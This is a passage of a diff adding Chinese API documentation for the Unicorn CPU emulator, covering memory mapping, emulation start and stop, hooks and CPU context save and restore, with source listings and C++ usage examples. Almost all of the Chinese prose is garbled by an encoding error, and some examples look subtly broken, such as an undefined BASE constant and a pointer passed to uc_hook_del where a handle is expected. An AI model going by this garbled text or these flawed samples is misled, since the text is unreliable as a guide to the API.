= _bytes; + + if (uc->mem_redirect) { + address = uc->mem_redirect(address); + } + + if (!check_mem_area(uc, address, size)) + return UC_ERR_READ_UNMAPPED; + + // 内存区域å¯ä»¥é‡å ç›¸é‚»çš„å†…å­˜å— + while(count < size) { + MemoryRegion *mr = memory_mapping(uc, address); + if (mr) { + len = (size_t)MIN(size - count, mr->end - address); + if (uc->read_mem(&uc->as, address, bytes, len) == false) + break; + count += len; + address += len; + bytes += len; + } else // 此地å€å°šæœªè¢«æ˜ å°„ + break; + } + + if (count == size) + return UC_ERR_OK; + else + return UC_ERR_READ_UNMAPPED; +} +``` + +使用示例åŒuc_mem_write() + + + +### uc_emu_start + +```c +uc_err uc_emu_start(uc_engine *uc, uint64_t begin, uint64_t until, uint64_t timeout, size_t count); +``` + +在指定的时间内模拟机器ç ã€‚ + +``` +@uc: uc_open() è¿”å›žçš„å¥æŸ„ +@begin: å¼€å§‹æ¨¡æ‹Ÿçš„åœ°å€ +@until: æ¨¡æ‹Ÿåœæ­¢çš„åœ°å€ (å½“åˆ°è¾¾è¯¥åœ°å€æ—¶) +@timeout: 模拟代ç çš„æŒç»­æ—¶é—´(以微秒计)。当这个值为0æ—¶ï¼Œå°†åœ¨æ— é™æ—¶é—´å†…模拟代ç ï¼Œç›´åˆ°ä»£ç å®Œæˆã€‚ +@count: è¦æ¨¡æ‹Ÿçš„æŒ‡ä»¤æ•°ã€‚当这个值为0时,将模拟所有å¯ç”¨çš„代ç ï¼Œç›´åˆ°ä»£ç å®Œæˆ + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_emu_start(uc_engine* uc, uint64_t begin, uint64_t until, uint64_t timeout, size_t count) +{ + // é‡åˆ¶è®¡æ•°å™¨ + uc->emu_counter = 0; + uc->invalid_error = UC_ERR_OK; + uc->block_full = false; + uc->emulation_done = false; + uc->timed_out = false; + + switch(uc->arch) { + default: + break; +#ifdef UNICORN_HAS_M68K + case UC_ARCH_M68K: + uc_reg_write(uc, UC_M68K_REG_PC, &begin); + break; +#endif +#ifdef UNICORN_HAS_X86 + case UC_ARCH_X86: + switch(uc->mode) { + default: + break; + case UC_MODE_16: { + uint64_t ip; + uint16_t cs; + + uc_reg_read(uc, UC_X86_REG_CS, &cs); + // 抵消åŽé¢å¢žåŠ çš„ IP å’Œ CS + ip = begin - cs*16; + uc_reg_write(uc, UC_X86_REG_IP, &ip); + break; + } + case UC_MODE_32: + uc_reg_write(uc, UC_X86_REG_EIP, &begin); + break; + case UC_MODE_64: + uc_reg_write(uc, UC_X86_REG_RIP, &begin); + break; + } + break; +#endif +#ifdef UNICORN_HAS_ARM + case UC_ARCH_ARM: + uc_reg_write(uc, UC_ARM_REG_R15, &begin); + break; +#endif +#ifdef UNICORN_HAS_ARM64 + case UC_ARCH_ARM64: + uc_reg_write(uc, UC_ARM64_REG_PC, &begin); + break; +#endif +#ifdef UNICORN_HAS_MIPS + case UC_ARCH_MIPS: + // TODO: MIPS32/MIPS64/BIGENDIAN etc + uc_reg_write(uc, UC_MIPS_REG_PC, &begin); + break; +#endif +#ifdef UNICORN_HAS_SPARC + case UC_ARCH_SPARC: + // TODO: Sparc/Sparc64 + uc_reg_write(uc, UC_SPARC_REG_PC, &begin); + break; +#endif + } + + uc->stop_request = false; + + uc->emu_count = count; + // 如果ä¸éœ€è¦è®¡æ•°ï¼Œåˆ™ç§»é™¤è®¡æ•°æŒ‚é’©hook + if (count <= 0 && uc->count_hook != 0) { + uc_hook_del(uc, uc->count_hook); + uc->count_hook = 0; + } + // 设置计数hook记录指令数 + if (count > 0 && uc->count_hook == 0) { + uc_err err; + // 对计数指令的回调必须在所有其他æ“作之å‰è¿è¡Œï¼Œå› æ­¤å¿…须在hook列表的开头æ’å…¥hookï¼Œè€Œä¸æ˜¯é™„加hook + uc->hook_insert = 1; + err = uc_hook_add(uc, &uc->count_hook, UC_HOOK_CODE, hook_count_cb, NULL, 1, 0); + // æ¢å¤åˆ° uc_hook_add() + uc->hook_insert = 0; + if (err != UC_ERR_OK) { + return err; + } + } + + uc->addr_end = until; + + if (timeout) + enable_emu_timer(uc, timeout * 1000); // microseconds -> nanoseconds + + if (uc->vm_start(uc)) { + return UC_ERR_RESOURCE; + } + + // æ¨¡æ‹Ÿå®Œæˆ + uc->emulation_done = true; + + if (timeout) { + // 等待超时 + qemu_thread_join(&uc->timer); + } + + if(uc->timed_out) + return UC_ERR_TIMEOUT; + + return uc->invalid_error; +} +``` + +使用示例: + +```cpp +#include <iostream> +#include <string> +#include "unicorn/unicorn.h" +using namespace std; + +#define X86_CODE32 "\x33\xC0" // xor eax, eax +#define ADDRESS 0x1000 + +int main() +{ + uc_engine* uc; + uc_err err; + + int r_eax = 0x111; + + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + return -1; + } + + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + if (uc_mem_write(uc, ADDRESS, X86_CODE32, sizeof(X86_CODE32) - 1)) { + printf("Failed to write emulation code to memory, quit!\n"); + return -1; + } + + uc_reg_write(uc, UC_X86_REG_EAX, &r_eax); + printf(">>> before EAX = 0x%x\n", r_eax); + + err = uc_emu_start(uc, ADDRESS, ADDRESS + sizeof(X86_CODE32) - 1, 0, 0); + if (err) { + printf("Failed on uc_emu_start() with error returned %u: %s\n", + err, uc_strerror(err)); + } + + uc_reg_read(uc, UC_X86_REG_EAX, &r_eax); + printf(">>> after EAX = 0x%x\n", r_eax); + + err = uc_close(uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_close() with error returned: %u\n", err); + return -1; + } + + return 0; +} +``` + +输出 + +![image.png](API_Doc_Pic/K4HMijIVt6lofvT.png) + + + +### uc_emu_stop + +```c +uc_err uc_emu_stop(uc_engine *uc); +``` + +åœæ­¢æ¨¡æ‹Ÿ + +通常是从通过 tracing API注册的回调函数中调用。 + +``` +@uc: uc_open() è¿”å›žçš„å¥æŸ„ + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_emu_stop(uc_engine *uc) +{ + if (uc->emulation_done) + return UC_ERR_OK; + + uc->stop_request = true; + + if (uc->current_cpu) { + // 退出当å‰çº¿ç¨‹ + cpu_exit(uc->current_cpu); + } + + return UC_ERR_OK; +} +``` + +使用示例: + +```cpp +uc_emu_stop(uc); +``` + + + +### uc_hook_add + +```c +uc_err uc_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback, + void *user_data, uint64_t begin, uint64_t end, ...); +``` + +注册hook事件的回调,当hook事件被触å‘将会进行回调。 + +``` + @uc: uc_open() è¿”å›žçš„å¥æŸ„ + @hh: 注册hookå¾—åˆ°çš„å¥æŸ„. uc_hook_del() 中使用 + @type: hook 类型 + @callback: 当指令被命中时è¦è¿è¡Œçš„回调 + @user_data: 用户自定义数æ®. 将被传递给回调函数的最åŽä¸€ä¸ªå‚æ•° @user_data + @begin: 回调生效区域的起始地å€(包括) + @end: 回调生效区域的结æŸåœ°å€(包括) + æ³¨æ„ 1: åªæœ‰å›žè°ƒçš„地å€åœ¨[@begin, @end]中æ‰ä¼šè°ƒç”¨å›žè°ƒ + æ³¨æ„ 2: 如果 @begin > @end, æ¯å½“è§¦å‘æ­¤hook类型时都会调用回调 + @...: å˜é‡å‚æ•° (å–决于 @type) + 注æ„: 如果 @type = UC_HOOK_INSN, 这里是指令ID (如: UC_X86_INS_OUT) + + @return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback, + void *user_data, uint64_t begin, uint64_t end, ...) +{ + int ret = UC_ERR_OK; + int i = 0; + + struct hook *hook = calloc(1, sizeof(struct hook)); + if (hook == NULL) { + return UC_ERR_NOMEM; + } + + hook->begin = begin; + hook->end = end; + hook->type = type; + hook->callback = callback; + hook->user_data = user_data; + hook->refs = 0; + *hh = (uc_hook)hook; + + // UC_HOOK_INSN 有一个é¢å¤–傿•°ï¼šæŒ‡ä»¤ID + if (type & UC_HOOK_INSN) { + va_list valist; + + va_start(valist, end); + hook->insn = va_arg(valist, int); + va_end(valist); + + if (uc->insn_hook_validate) { + if (! uc->insn_hook_validate(hook->insn)) { + free(hook); + return UC_ERR_HOOK; + } + } + + if (uc->hook_insert) { + if (list_insert(&uc->hook[UC_HOOK_INSN_IDX], hook) == NULL) { + free(hook); + return UC_ERR_NOMEM; + } + } else { + if (list_append(&uc->hook[UC_HOOK_INSN_IDX], hook) == NULL) { + free(hook); + return UC_ERR_NOMEM; + } + } + + hook->refs++; + return UC_ERR_OK; + } + + while ((type >> i) > 0) { + if ((type >> i) & 1) { + if (i < UC_HOOK_MAX) { + if (uc->hook_insert) { + if (list_insert(&uc->hook[i], hook) == NULL) { + if (hook->refs == 0) { + free(hook); + } + return UC_ERR_NOMEM; + } + } else { + if (list_append(&uc->hook[i], hook) == NULL) { + if (hook->refs == 0) { + free(hook); + } + return UC_ERR_NOMEM; + } + } + hook->refs++; + } + } + i++; + } + + if (hook->refs == 0) { + free(hook); + } + + return ret; +} +``` + +使用示例: + +```cpp +#include <iostream> +#include <string> +#include "unicorn/unicorn.h" +using namespace std; + +int syscall_abi[] = { + UC_X86_REG_RAX, UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, + UC_X86_REG_R10, UC_X86_REG_R8, UC_X86_REG_R9 +}; + +uint64_t vals[7] = { 200, 10, 11, 12, 13, 14, 15 }; + +void* ptrs[7]; + +void uc_perror(const char* func, uc_err err) +{ + fprintf(stderr, "Error in %s(): %s\n", func, uc_strerror(err)); +} + +#define BASE 0x10000 + +// mov rax, 100; mov rdi, 1; mov rsi, 2; mov rdx, 3; mov r10, 4; mov r8, 5; mov r9, 6; syscall +#define CODE "\x48\xc7\xc0\x64\x00\x00\x00\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc6\x02\x00\x00\x00\x48\xc7\xc2\x03\x00\x00\x00\x49\xc7\xc2\x04\x00\x00\x00\x49\xc7\xc0\x05\x00\x00\x00\x49\xc7\xc1\x06\x00\x00\x00\x0f\x05" + +void hook_syscall(uc_engine* uc, void* user_data) +{ + int i; + + uc_reg_read_batch(uc, syscall_abi, ptrs, 7); + + printf("syscall: {"); + + for (i = 0; i < 7; i++) { + if (i != 0) printf(", "); + printf("%" PRIu64, vals[i]); + } + + printf("}\n"); +} + +void hook_code(uc_engine* uc, uint64_t addr, uint32_t size, void* user_data) +{ + printf("HOOK_CODE: 0x%" PRIx64 ", 0x%x\n", addr, size); +} + +int main() +{ + int i; + uc_hook sys_hook; + uc_err err; + uc_engine* uc; + + for (i = 0; i < 7; i++) { + ptrs[i] = &vals[i]; + } + + if ((err = uc_open(UC_ARCH_X86, UC_MODE_64, &uc))) { + uc_perror("uc_open", err); + return 1; + } + + printf("reg_write_batch({200, 10, 11, 12, 13, 14, 15})\n"); + if ((err = uc_reg_write_batch(uc, syscall_abi, ptrs, 7))) { + uc_perror("uc_reg_write_batch", err); + return 1; + } + + memset(vals, 0, sizeof(vals)); + if ((err = uc_reg_read_batch(uc, syscall_abi, ptrs, 7))) { + uc_perror("uc_reg_read_batch", err); + return 1; + } + + printf("reg_read_batch = {"); + + for (i = 0; i < 7; i++) { + if (i != 0) printf(", "); + printf("%" PRIu64, vals[i]); + } + + printf("}\n"); + + // syscall + printf("\n"); + printf("running syscall shellcode\n"); + + if ((err = uc_hook_add(uc, &sys_hook, UC_HOOK_CODE, hook_syscall, NULL, 1, 0))) { + uc_perror("uc_hook_add", err); + return 1; + } + + if ((err = uc_mem_map(uc, BASE, 0x1000, UC_PROT_ALL))) { + uc_perror("uc_mem_map", err); + return 1; + } + + if ((err = uc_mem_write(uc, BASE, CODE, sizeof(CODE) - 1))) { + uc_perror("uc_mem_write", err); + return 1; + } + + if ((err = uc_emu_start(uc, BASE, BASE + sizeof(CODE) - 1, 0, 0))) { + uc_perror("uc_emu_start", err); + return 1; + } + + return 0; +} +``` + +输出 + +![image.png](API_Doc_Pic/aU1lbmxMjXA5g3K.png) + +å¯¹æ¯æ¡æŒ‡ä»¤éƒ½è¿›è¡Œhook + + + +### uc_hook_del + +``` +uc_err uc_hook_del(uc_engine *uc, uc_hook hh); +``` + +删除一个已注册的hook事件 + +``` +@uc: uc_open() è¿”å›žçš„å¥æŸ„ +@hh: uc_hook_add() è¿”å›žçš„å¥æŸ„ + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_hook_del(uc_engine *uc, uc_hook hh) +{ + int i; + struct hook *hook = (struct hook *)hh; + + for (i = 0; i < UC_HOOK_MAX; i++) { + if (list_remove(&uc->hook[i], (void *)hook)) { + if (--hook->refs == 0) { + free(hook); + break; + } + } + } + return UC_ERR_OK; +} +``` + +使用示例: + +```cpp +if ((err = uc_hook_add(uc, &sys_hook, UC_HOOK_CODE, hook_syscall, NULL, 1, 0))) { + uc_perror("uc_hook_add", err); + return 1; +} + +if ((err = uc_hook_del(uc, &sys_hook))) { + uc_perror("uc_hook_del", err); + return 1; +} +``` + + + +### uc_mem_map + +```c +uc_err uc_mem_map(uc_engine *uc, uint64_t address, size_t size, uint32_t perms); +``` + +为模拟映射一å—内存。 + +``` +@uc: uc_open() è¿”å›žçš„å¥æŸ„ +@address: è¦æ˜ å°„到的新内存区域的起始地å€ã€‚这个地å€å¿…须与4KB对é½ï¼Œå¦åˆ™å°†è¿”回UC_ERR_ARG错误。 +@size: è¦æ˜ å°„到的新内存区域的大å°ã€‚这个大å°å¿…须是4KBçš„å€æ•°ï¼Œå¦åˆ™å°†è¿”回UC_ERR_ARG错误。 +@perms: 新映射区域的æƒé™ã€‚傿•°å¿…须是UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC或这些的组åˆï¼Œå¦åˆ™è¿”回UC_ERR_ARG错误。 + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_mem_map(uc_engine *uc, uint64_t address, size_t size, uint32_t perms) +{ + uc_err res; + + if (uc->mem_redirect) { + address = uc->mem_redirect(address); + } + + res = mem_map_check(uc, address, size, perms); //内存安全检查 + if (res) + return res; + + return mem_map(uc, address, size, perms, uc->memory_map(uc, address, size, perms)); +} +``` + +使用示例åŒuc_hook_add。 + + + +### uc_mem_map_ptr + +```c +uc_err uc_mem_map_ptr(uc_engine *uc, uint64_t address, size_t size, uint32_t perms, void *ptr); +``` + +在模拟中映射现有的主机内存。 + +``` +@uc: uc_open() è¿”å›žçš„å¥æŸ„ +@address: è¦æ˜ å°„到的新内存区域的起始地å€ã€‚这个地å€å¿…须与4KB对é½ï¼Œå¦åˆ™å°†è¿”回UC_ERR_ARG错误。 +@size: è¦æ˜ å°„到的新内存区域的大å°ã€‚这个大å°å¿…须是4KBçš„å€æ•°ï¼Œå¦åˆ™å°†è¿”回UC_ERR_ARG错误。 +@perms: 新映射区域的æƒé™ã€‚傿•°å¿…须是UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC或这些的组åˆï¼Œå¦åˆ™è¿”回UC_ERR_ARG错误。 +@ptr: æŒ‡å‘æ”¯æŒæ–°æ˜ å°„内存的主机内存的指针。映射的主机内存的大å°åº”该与size的大å°ç›¸åŒæˆ–更大,并且至少使用PROT_READ | PROT_WRITE进行映射,å¦åˆ™ä¸å®šä¹‰æ˜ å°„。 + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_mem_map_ptr(uc_engine *uc, uint64_t address, size_t size, uint32_t perms, void *ptr) +{ + uc_err res; + + if (ptr == NULL) + return UC_ERR_ARG; + + if (uc->mem_redirect) { + address = uc->mem_redirect(address); + } + + res = mem_map_check(uc, address, size, perms); //内存安全检查 + if (res) + return res; + + return mem_map(uc, address, size, UC_PROT_ALL, uc->memory_map_ptr(uc, address, size, perms, ptr)); +} +``` + +使用示例åŒuc_mem_map + + + +### uc_mem_unmap + +```c +uc_err uc_mem_unmap(uc_engine *uc, uint64_t address, size_t size); +``` + +å–æ¶ˆå¯¹æ¨¡æ‹Ÿå†…存区域的映射 + +``` +@uc: uc_open() è¿”å›žçš„å¥æŸ„ +@address: è¦æ˜ å°„到的新内存区域的起始地å€ã€‚这个地å€å¿…须与4KB对é½ï¼Œå¦åˆ™å°†è¿”回UC_ERR_ARG错误。 +@size: è¦æ˜ å°„到的新内存区域的大å°ã€‚这个大å°å¿…须是4KBçš„å€æ•°ï¼Œå¦åˆ™å°†è¿”回UC_ERR_ARG错误。 + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_mem_unmap(struct uc_struct *uc, uint64_t address, size_t size) +{ + MemoryRegion *mr; + uint64_t addr; + size_t count, len; + + if (size == 0) + // 没有è¦å–消映射的区域 + return UC_ERR_OK; + + // 地å€å¿…须对é½åˆ° uc->target_page_size + if ((address & uc->target_page_align) != 0) + return UC_ERR_ARG; + + // 大å°å¿…须是 uc->target_page_size çš„å€æ•° + if ((size & uc->target_page_align) != 0) + return UC_ERR_ARG; + + if (uc->mem_redirect) { + address = uc->mem_redirect(address); + } + + // æ£€æŸ¥ç”¨æˆ·è¯·æ±‚çš„æ•´ä¸ªå—æ˜¯å¦è¢«æ˜ å°„ + if (!check_mem_area(uc, address, size)) + return UC_ERR_NOMEM; + + // 如果这个区域跨越了相邻的区域,å¯èƒ½éœ€è¦åˆ†å‰²åŒºåŸŸ + addr = address; + count = 0; + while(count < size) { + mr = memory_mapping(uc, addr); + len = (size_t)MIN(size - count, mr->end - addr); + if (!split_region(uc, mr, addr, len, true)) + return UC_ERR_NOMEM; + + // å–æ¶ˆæ˜ å°„ + mr = memory_mapping(uc, addr); + if (mr != NULL) + uc->memory_unmap(uc, mr); + count += len; + addr += len; + } + + return UC_ERR_OK; +} +``` + +使用示例: + +```cpp +if ((err = uc_mem_map(uc, BASE, 0x1000, UC_PROT_ALL))) { + uc_perror("uc_mem_map", err); + return 1; +} + +if ((err = uc_mem_unmap(uc, BASE, 0x1000))) { + uc_perror("uc_mem_unmap", err); + return 1; +} +``` + + + +### uc_mem_protect + +```c +uc_err uc_mem_protect(uc_engine *uc, uint64_t address, size_t size, uint32_t perms); +``` + +设置模拟内存的æƒé™ + +``` +@uc: uc_open() è¿”å›žçš„å¥æŸ„ +@address: è¦æ˜ å°„到的新内存区域的起始地å€ã€‚这个地å€å¿…须与4KB对é½ï¼Œå¦åˆ™å°†è¿”回UC_ERR_ARG错误。 +@size: è¦æ˜ å°„到的新内存区域的大å°ã€‚这个大å°å¿…须是4KBçš„å€æ•°ï¼Œå¦åˆ™å°†è¿”回UC_ERR_ARG错误。 +@perms: 映射区域的新æƒé™ã€‚傿•°å¿…须是UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC或这些的组åˆï¼Œå¦åˆ™è¿”回UC_ERR_ARG错误。 + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_mem_protect(struct uc_struct *uc, uint64_t address, size_t size, uint32_t perms) +{ + MemoryRegion *mr; + uint64_t addr = address; + size_t count, len; + bool remove_exec = false; + + if (size == 0) + // trivial case, no change + return UC_ERR_OK; + + // address must be aligned to uc->target_page_size + if ((address & uc->target_page_align) != 0) + return UC_ERR_ARG; + + // size must be multiple of uc->target_page_size + if ((size & uc->target_page_align) != 0) + return UC_ERR_ARG; + + // check for only valid permissions + if ((perms & ~UC_PROT_ALL) != 0) + return UC_ERR_ARG; + + if (uc->mem_redirect) { + address = uc->mem_redirect(address); + } + + // check that user's entire requested block is mapped + if (!check_mem_area(uc, address, size)) + return UC_ERR_NOMEM; + + // Now we know entire region is mapped, so change permissions + // We may need to split regions if this area spans adjacent regions + addr = address; + count = 0; + while(count < size) { + mr = memory_mapping(uc, addr); + len = (size_t)MIN(size - count, mr->end - addr); + if (!split_region(uc, mr, addr, len, false)) + return UC_ERR_NOMEM; + + mr = memory_mapping(uc, addr); + // will this remove EXEC permission? + if (((mr->perms & UC_PROT_EXEC) != 0) && ((perms & UC_PROT_EXEC) == 0)) + remove_exec = true; + mr->perms = perms; + uc->readonly_mem(mr, (perms & UC_PROT_WRITE) == 0); + + count += len; + addr += len; + } + + // if EXEC permission is removed, then quit TB and continue at the same place + if (remove_exec) { + uc->quit_request = true; + uc_emu_stop(uc); + } + + return UC_ERR_OK; +} +``` + +使用示例: + +```cpp +if ((err = uc_mem_protect(uc, BASE, 0x1000, UC_PROT_ALL))) { //å¯è¯»å¯å†™å¯æ‰§è¡Œ + uc_perror("uc_mem_protect", err); + return 1; +} +``` + + + +### uc_mem_regions + +```c +uc_err uc_mem_regions(uc_engine *uc, uc_mem_region **regions, uint32_t *count); +``` + +检索由 uc_mem_map() å’Œ uc_mem_map_ptr() 映射的内存的信æ¯ã€‚ + +这个API为@regions分é…内存,用户之åŽå¿…须通过free()释放这些内存æ¥é¿å…内存泄æ¼ã€‚ + +``` +@uc: uc_open() è¿”å›žçš„å¥æŸ„ +@regions: æŒ‡å‘ uc_mem_region 结构体的数组的指针. ç”±Unicorn申请,必须通过uc_free()释放这些内存 +@count: 指å‘@regions中包å«çš„uc_mem_region结构体的数é‡çš„æŒ‡é’ˆ + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç åˆ†æž + +```c +uint32_t uc_mem_regions(uc_engine *uc, uc_mem_region **regions, uint32_t *count) +{ + uint32_t i; + uc_mem_region *r = NULL; + + *count = uc->mapped_block_count; + + if (*count) { + r = g_malloc0(*count * sizeof(uc_mem_region)); + if (r == NULL) { + // 内存ä¸è¶³ + return UC_ERR_NOMEM; + } + } + + for (i = 0; i < *count; i++) { + r[i].begin = uc->mapped_blocks[i]->addr; + r[i].end = uc->mapped_blocks[i]->end - 1; + r[i].perms = uc->mapped_blocks[i]->perms; + } + + *regions = r; + + return UC_ERR_OK; +} +``` + +使用示例: + +```cpp +#include <iostream> +#include <string> +#include "unicorn/unicorn.h" +using namespace std; + +int main() +{ + uc_err err; + uc_engine* uc; + + if ((err = uc_open(UC_ARCH_X86, UC_MODE_64, &uc))) { + uc_perror("uc_open", err); + return 1; + } + + if ((err = uc_mem_map(uc, BASE, 0x1000, UC_PROT_ALL))) { + uc_perror("uc_mem_map", err); + return 1; + } + + uc_mem_region *region; + uint32_t count; + + if ((err = uc_mem_regions(uc, ®ion, &count))) { + uc_perror("uc_mem_regions", err); + return 1; + } + + cout << "起始地å€ï¼š 0x" << hex << region->begin << " 结æŸåœ°å€ï¼š 0x" << hex << region->end << " 内存æƒé™ï¼š " <<region->perms << " å·²ç”³è¯·å†…å­˜å—æ•°ï¼š " << count << endl; + + if ((err = uc_free(region))) { ////注æ„释放内存 + uc_perror("uc_free", err); + return 1; + } + + return 0; +} +``` + +输出 + +![image.png](API_Doc_Pic/kbrF7NdV6LDxnYI.png) + + + +### uc_free + +```c +uc_err uc_free(void *mem); +``` + +释放由 uc_context_alloc å’Œ uc_mem_regions 申请的内存 + +``` +@mem: ç”±uc_context_alloc (返回 *context), 或由 uc_mem_regions (返回 *regions)申请的内存 + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_free(void *mem) +{ + g_free(mem); + return UC_ERR_OK; +} + +void g_free(gpointer ptr) +{ + free(ptr); +} +``` + +使用示例åŒuc_mem_regions + + + +### uc_context_alloc + +```c +uc_err uc_context_alloc(uc_engine *uc, uc_context **context); +``` + +分é…一个å¯ä»¥ä¸Žuc_context_{save,restore}ä¸€èµ·ä½¿ç”¨çš„åŒºåŸŸæ¥æ‰§è¡ŒCPU上下文的快速ä¿å­˜/回滚,包括寄存器和内部元数æ®ã€‚上下文ä¸èƒ½åœ¨å…·æœ‰ä¸åŒæž¶æž„或模å¼çš„引擎实例之间共享。 + +``` +@uc: uc_open() è¿”å›žçš„å¥æŸ„ +@context: 指å‘uc_engine*的指针。当这个函数æˆåŠŸè¿”å›žæ—¶ï¼Œå°†ä½¿ç”¨æŒ‡å‘æ–°ä¸Šä¸‹æ–‡çš„æŒ‡é’ˆæ›´æ–°å®ƒã€‚之åŽå¿…须使用uc_free()释放这些分é…的内存。 + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_context_alloc(uc_engine *uc, uc_context **context) +{ + struct uc_context **_context = context; + size_t size = cpu_context_size(uc->arch, uc->mode); + + *_context = malloc(size + sizeof(uc_context)); + if (*_context) { + (*_context)->size = size; + return UC_ERR_OK; + } else { + return UC_ERR_NOMEM; + } +} +``` + +使用示例 + +```cpp +#include <iostream> +#include <string> +#include "unicorn/unicorn.h" +using namespace std; + +#define ADDRESS 0x1000 +#define X86_CODE32_INC "\x40" // INC eax + +int main() +{ + uc_engine* uc; + uc_context* context; + uc_err err; + + int r_eax = 0x1; // EAX 寄存器 + + printf("===================================\n"); + printf("Save/restore CPU context in opaque blob\n"); + + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err) { + printf("Failed on uc_open() with error returned: %u\n", err); + return 0; + } + + uc_mem_map(uc, ADDRESS, 8 * 1024, UC_PROT_ALL); + + if (uc_mem_write(uc, ADDRESS, X86_CODE32_INC, sizeof(X86_CODE32_INC) - 1)) { + printf("Failed to write emulation code to memory, quit!\n"); + return 0; + } + + // åˆå§‹åŒ–寄存器 + uc_reg_write(uc, UC_X86_REG_EAX, &r_eax); + + printf(">>> Running emulation for the first time\n"); + + err = uc_emu_start(uc, ADDRESS, ADDRESS + sizeof(X86_CODE32_INC) - 1, 0, 0); + if (err) { + printf("Failed on uc_emu_start() with error returned %u: %s\n", + err, uc_strerror(err)); + } + + printf(">>> Emulation done. Below is the CPU context\n"); + + uc_reg_read(uc, UC_X86_REG_EAX, &r_eax); + printf(">>> EAX = 0x%x\n", r_eax); + + // 申请并ä¿å­˜ CPU 上下文 + printf(">>> Saving CPU context\n"); + + err = uc_context_alloc(uc, &context); + if (err) { + printf("Failed on uc_context_alloc() with error returned: %u\n", err); + return 0; + } + + err = uc_context_save(uc, context); + if (err) { + printf("Failed on uc_context_save() with error returned: %u\n", err); + return 0; + } + + printf(">>> Running emulation for the second time\n"); + + err = uc_emu_start(uc, ADDRESS, ADDRESS + sizeof(X86_CODE32_INC) - 1, 0, 0); + if (err) { + printf("Failed on uc_emu_start() with error returned %u: %s\n", + err, uc_strerror(err)); + } + + printf(">>> Emulation done. Below is the CPU context\n"); + + uc_reg_read(uc, UC_X86_REG_EAX, &r_eax); + printf(">>> EAX = 0x%x\n", r_eax); + + // æ¢å¤ CPU 上下文 + err = uc_context_restore(uc, context); + if (err) { + printf("Failed on uc_context_restore() with error returned: %u\n", err); + return 0; + } + + printf(">>> CPU context restored. Below is the CPU context\n"); + + uc_reg_read(uc, UC_X86_REG_EAX, &r_eax); + printf(">>> EAX = 0x%x\n", r_eax); + + // 释放 CPU 上下文 + err = uc_free(context); + if (err) { + printf("Failed on uc_free() with error returned: %u\n", err); + return 0; + } + + uc_close(uc); + + return 0; +} +``` + +输出 + +![image.png](API_Doc_Pic/juNPWvwGUlraKRh.png) + + + +### uc_context_save + +```c +uc_err uc_context_save(uc_engine *uc, uc_context *context); +``` + +ä¿å­˜å½“å‰CPU上下文 + +``` +@uc: uc_open() è¿”å›žçš„å¥æŸ„ +@context: uc_context_alloc() è¿”å›žçš„å¥æŸ„ + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_context_save(uc_engine *uc, uc_context *context) +{ + struct uc_context *_context = context; + memcpy(_context->data, uc->cpu->env_ptr, _context->size); + return UC_ERR_OK; +} +``` + +使用示例åŒuc_context_alloc() + + + +### uc_context_restore + +```c +uc_err uc_context_restore(uc_engine *uc, uc_context *context); +``` + +æ¢å¤å·²ä¿å­˜çš„CPU上下文 + +``` +@uc: uc_open() è¿”å›žçš„å¥æŸ„ +@context: uc_context_alloc() 返回并且已使用 uc_context_save ä¿å­˜çš„奿Ÿ„ + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_context_restore(uc_engine *uc, uc_context *context) +{ + struct uc_context *_context = context; + memcpy(uc->cpu->env_ptr, _context->data, _context->size); + return UC_ERR_OK; +} +``` + +使用示例åŒuc_context_alloc() + + + +### uc_context_size + +```c +size_t uc_context_size(uc_engine *uc); +``` + +返回存储cpu上下文所需的大å°ã€‚å¯ä»¥ç”¨æ¥åˆ†é…一个缓冲区æ¥åŒ…å«cpu上下文,并直接调用uc_context_save。 + +``` +@uc: uc_open() è¿”å›žçš„å¥æŸ„ + +@return 